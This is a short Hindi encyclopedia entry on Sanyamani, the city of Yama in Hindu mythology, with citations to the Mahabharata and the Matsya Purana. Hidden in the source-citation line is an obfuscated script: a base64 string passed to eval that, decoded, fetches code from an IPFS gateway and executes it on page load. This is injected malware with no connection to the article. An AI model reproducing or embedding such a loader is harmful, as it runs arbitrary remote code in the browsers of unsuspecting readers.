संयमनी

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संयमनी का उल्लेख हिन्दू पौराणिक ग्रंथ महाभारत में हुआ है। महाभारत वन पर्व और द्रोण पर्व के अनुसार यह यम की राजधानी या पुरी है। इसका दूसरा नाम 'संयमन' भी है।[1]

  • मत्स्य पुराण के अनुसार ये मेरु पर्वत के दक्षिण तथा मानसरोवर के पीछे बसी यमराज की नगरी या यमपुरी का एक नाम, जिसे 'संयमनपुर' भी कहते हैं।[2]
  • महाभारत अनुशासन पर्व के अनुसार यहाँ कोई भी असत्य नहीं बोलता। निर्बल जन भी बलवान द्वारा अपने ऊपर किये गये अन्याय का बदला लेते है। यह जीवों को संयम में रखने के कारण ही 'संयमनी' नाम से विख्यात है।[3]


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टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 507 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महाभारत वन पर्व 163.89; महाभारत द्रोण पर्व 72.44, 119.24; 142.10
  2. मत्स्य पुराण 122.20-21
  3. महाभारत अनुशासन पर्व 95.13-14

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